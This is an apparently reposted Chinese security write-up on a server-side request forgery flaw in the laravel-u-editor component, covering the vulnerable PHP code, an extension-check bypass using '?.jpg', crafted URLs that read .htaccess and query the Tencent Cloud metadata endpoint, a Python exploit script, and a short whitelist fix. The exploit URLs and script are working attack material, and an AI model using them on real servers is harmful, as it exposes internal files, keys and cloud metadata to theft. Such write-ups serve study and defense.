***f漏洞结合腾讯云获取敏感信息及***f防御

测试实践***f漏洞应用与防御

概要

此次测试为公司内部站点测试,测试出了众多常见的xss、文件上传、订单逻辑漏洞。不过这里只介绍一个f漏洞以作学习,这是一个大佬从代码中发现的,我过来学习一下,同时做个总结。之所以总结这一个,或许是因为从这个漏洞中学习的更多一些知识和技巧吧!同时加深一下对f的理解!

漏洞的详细介绍

漏洞的原理:

F(Server-Side Request Forgery:服务器端请求伪造) 是一种由者构造形成由服务端发起请求的一个安全漏洞。一般情况下,F的目标是从外网无法访问的内部系统。F 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。(来自网络中的总结)
这些原理网络上有很多,就不再过多解释了。我想详细说一下这个漏洞造成的过程,和
中利用的过程。

漏洞的发现

站点中引用了github上的一个编辑器的项目laravel-u-editor。UEditor 是由百度web前端研发部开发所见即所得富文本web编辑器。
代码如下:

public function server(Request $request)
    {
        $config = config(‘UEditorUpload.upload‘);

        $action = $request->get(‘action‘);

        switch ($action) {

            case ‘config‘:
                $result = $config;
                break;
            case ‘uploadimage‘:
                $upConfig = array(
                    "pathFormat" => $config[‘imagePathFormat‘],
                    "maxSize" => $config[‘imageMaxSize‘],
                    "allowFiles" => $config[‘imageAllowFiles‘],
                    ‘fieldName‘ => $config[‘imageFieldName‘],
                );
                $result = with(new UploadFile($upConfig, $request))->upload();
                break;

......

case ‘catchimage‘:

                $upConfig = array(
                    "pathFormat" => $config[‘catcherPathFormat‘],
                    "maxSize" => $config[‘catcherMaxSize‘],
                    "allowFiles" => $config[‘catcherAllowFiles‘],
                    "oriName" => "remote.png",
                    ‘fieldName‘ => $config[‘catcherFieldName‘],
                );

                $sources = $request->get($upConfig[‘fieldName‘]);
                $list = [];
                foreach ($sources as $imgUrl) {
                    $upConfig[‘imgUrl‘] = $imgUrl;
                    $info = with(new UploadCatch($upConfig, $request))->upload();

                    array_push($list, array(
                        "state" => $info["state"],
                        "url" => $info["url"],
                        "size" => $info["size"],
                        "title" => htmlspecialchars($info["title"]),
                        "original" => htmlspecialchars($info["original"]),
                        "source" => htmlspecialchars($imgUrl)
                    ));
                }
                $result = [
                    ‘state‘ => count($list) ? ‘SUCCESS‘ : ‘ERROR‘,
                    ‘list‘ => $list
                ];

                break;
        }

通过代码审计发现其中的一个参数$sources完全可以由自己控制。

$sources = $request->get($upConfig[‘fieldName‘]);

$source参数直接获取请求中source参数传递的值。

并且,在判断$sources传递过来的$imgUrl值的文件类型的时候,可以绕过。代码如下

$fileType = strtolower(strrchr($imgUrl, ‘.‘));
检测url中“.”后面的后缀即为文件类型,同时判断是不是allowfiles中列举文件类型。所以,完全可以通过?.jpg绕过这个文件类型的判断,去读取一些文件的内容。

漏洞的利用

简单访问一下.htaccess文件

构造请求url:
https://*/laravel-u-editor-server/server?action=catchimage&source[]=https://*/.htaccess?.jpg

先尝试访问
https://*/laravel-u-editor-server/server?action=catchimage&source[]=https://*/.htaccess

很明显访问不了内容。接下来访问我们构造的url

然后访问得到的图片地址。这是便能够看到文件的内容

切记要使用源码的形式观看。

利用小技巧:

因为网站是使用腾讯云搭建的,如果网站存在***f漏洞,完全可以通过腾讯云给的服务器元数据的接口,获得服务器的很多信息。元数据接口信息文档内容:
https://cloud.tencent.com/document/product/213/4934#.E6.9F.A5.E8.AF.A2.E5.AE.9E.E4.BE.8B.E5.85.83.E6.95.B0.E6.8D.AE


查看一下所有类别的元数据
https://*/laravel-u-editor-server/server?action=catchimage&source[]=http://metadata.tencentyun.com/latest/meta-data/?.jpg

然后访问图片地址:


这是可以列出的所有元数据信息。我们可以试着获取一下内网IP地址

想获取更多的信息,脚本:

#!/usr/bin/python3
#coding=utf-8

import requests
import sys

‘‘‘
***f漏洞利用脚本
时间:2019-12-24
作者:yaunsky
作用:通过腾讯云接口,获取元数据
‘‘‘

#获取元数据并输出
def imgRequests():
    #获取腾讯云接口的url
    source = sys.argv[1]
    imgurl = "https://beta.4hou.com/laravel-u-editor-server/server?action=catchimage&source[]="+source+"?.jpg"
    headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:71.0) Gecko/20100101 Firefox/71.0"}
    req = requests.get(url=imgurl,headers=headers)
    print(jpgRequests(req))

#获取jpg文件的url
def jpgRequests(req):
    jpgJson = req.json()
    jpgInfo = requests.get(jpgJson[‘list‘][0][‘url‘])
    return jpgInfo.text

def main():
    imgRequests()

if __name__ == "__main__":
main()

获取服务器用户名

获取服务器公钥

获取真实ip

漏洞的防御

此次使用的方法是设置url白名单。限制imgurl的获取地址。同时修改文件验证类型的源码。
修改代码:
简单举个例子

防御后访问之前的url。

结语

如今中小型企业大多数的都是使用的云服务,如果遇到***f,不妨通过这个漏洞通过给定的api接口获取一些有效的敏感信息。同时如果是企业用户一定要防范好自己的网站,设定好白名单,不要让非法分子钻到空子!

文章仅做学习总结和交流!!!

如果出现“*”号表示平台过滤,一般表示shentou和gongji!!!!

原文地址:https://blog.51cto.com/12332766/2461120

时间: 2024-10-09 19:44:49

***f漏洞结合腾讯云获取敏感信息及***f防御的相关文章

史上最全Linux提权后获取敏感信息方法

在本文开始之前,我想指出我不是专家.据我所知,在这个庞大的区域,没有一个“神奇”的答案.分享,共享(我的出发点).下面是一个混合的命令做同样的事情,在不同的地方,或只是一个不同的眼光来看待事物.我知道有更多的“东西”去寻找.这只是一个基本粗略的指南.并不是每一个命令,做好要注重细节. 文中的每行为一条命令,文中有的命令可能在你的主机上敲不出来,因为它可能是在其他版本的linux中所使用的命令. 列举关键点 (Linux)的提权是怎么一回事:  收集 – 枚举,枚举和一些更多的枚举.  过程 – 

[Java]直播方案----[接入环信聊天室]+[腾讯云直播]

辛辛苦苦写的,转载请注明一下,这点信任我想还是有的吧,谢谢了. http://www.cnblogs.com/applerosa/p/7162268.html 之前做了直播,一直没时间写,好不容易闲下来,所以总结记录一下. 需要注意的是,在获取环信聊天室ID和腾讯云三个推/拉流地址的时候,需要先去注册,获取所用开发者账号. 所以这个教程所必须的东西: 1.环信开发者账号; 2.腾讯云开发者账号; 一.做直播,肯定要有一个直播模型,这里我们用直播间来做示例: 这里只是做个基础的演示,所以都是必须的

腾讯云 视频 点播 视频上传接口

申请腾讯云  获取id  及  key [腾讯云视频]Web上传 地址 https://cloud.tencent.com/document/product/266/9239 Java 签名示例 https://cloud.tencent.com/document/product/266/10638 demo http://video.qcloud.com/sdk/ugcuploader.html?_ga=1.215462160.645636177.1512724448 根据Java 签名示例获

Python操作腾讯云CVM

一.背景 客户有需求在非工作时间将腾讯云CVM停机,工作时间又开起来,停止可以在系统内写定时任务来,但启动需要在腾讯云平台,就需要使用腾讯云的API来进行操作,还好腾讯云SDK for Python ,简单记录下. 二.代码 git 地址核心代码 CVM操作 class CvmOper(): def __init__(self,logger): config = configparser.ConfigParser() config.read('config.py',encoding='utf-8

【Java编码准则】の #02不要在客户端存储未加密的敏感信息

当构建CS模式的应用程序时,在客户端侧存储敏感信息(例如用户私要信息)可能导致非授权的信息泄漏. 对于Web应用程序来说,最常见的泄漏问题是在客户端使用cookies存放服务器端获取的敏感信息.Cookies是由web服务器创建的,它具有一个指定的有效时间,保存在客户端.当客户端连接上服务器端时,客户端使用cookies中存储的信息向服务器端进行认证,通过后服务器端返回敏感信息. 在XSS攻击下,Cookies不能保证敏感信息的安全.无论是通过XSS攻击,还是直接对客户端的攻击,攻击者一旦获取到

5.13微信登录维护态与获取用户信息思想

原文博客https://www.cnblogs.com/JinJi-Jary/p/6343745.html 前言. 微信小程序的运行环境不是在浏览器下运行的.所以不能以cookie来维护登录态.下面我就来说说我根据官方给出的方法来写出的维护登录态的方法吧. 一.登录态维护 官方的文档地址:https://mp.weixin.qq.com/debug/wxadoc/dev/api/api-login.html#wxloginobject 通过 wx.login() 获取到用户登录态之后,需要维护登

微信小程序详细图文教程-10分钟完成微信小程序开发部署发布(3元获取腾讯云服务器带小程序支持系统)

很多朋友都认为微信小程序申请.部署.发布很难,需要很长时间. 实际上,微信和腾讯云同是腾讯产品,已经提供了10分钟(根据准备资源情况,已完成小程序申请认证)完成小程序开发.部署.发布的方式.当然,实现的是基础功能.但是,可以给学习者很便捷的体验和很好的启发. 不过,随着微信平台和云服务的发展,真担心,程序猿会失业! 目录 一.微信小程序申请 二.服务器设置(申请.部署.域名) 1.申请服务器 2.部署服务器 3.域名申请和配置 三.小程序发布 1.下载DEMO 2.下载开发工具并安装 3.配置参

如何在腾讯云上搭建一个人力资源Saas

版权声明:本文由ihr原创文章,转载请注明出处: 文章原文链接:https://www.qcloud.com/community/article/180 来源:腾云阁 https://www.qcloud.com/community 在互联网盛行的时代,车联网,物联网相关的字眼随处可见.为了方便企业在员工管理上提供更为快捷有效地方式, ihr是基于当下主流企业人才管理方式及员工普及的社交方式微信的一个开放性平台.它包含企业端的招聘管理.员工管理,其中招聘管理又包含了面试通知邀请.到Offer发放

腾讯云无服务器云函数架构精解

欢迎大家前往腾讯云技术社区,获取更多腾讯海量技术实践干货哦~ 分享人:陈杰,腾讯云架构平台部技术专家,10年云计算经验,现供职于腾讯架构平台部,负责弹性计算及云函数技术研发,致力于提供领先的基础设施平台以提升资源利用率及优化提升程序员开发运维效率. 继虚拟机,容器技术,无服务器化成为新的行业热点,无服务器云函数可以让用户无需关心服务器的部署运营,只需开发最核心的业务逻辑,即可实现上线运营,具备分布容灾能力,可依据负载自动扩缩容,按照实际调用次数与时长计费.本次主要分享腾讯云无服务器云函数在技术实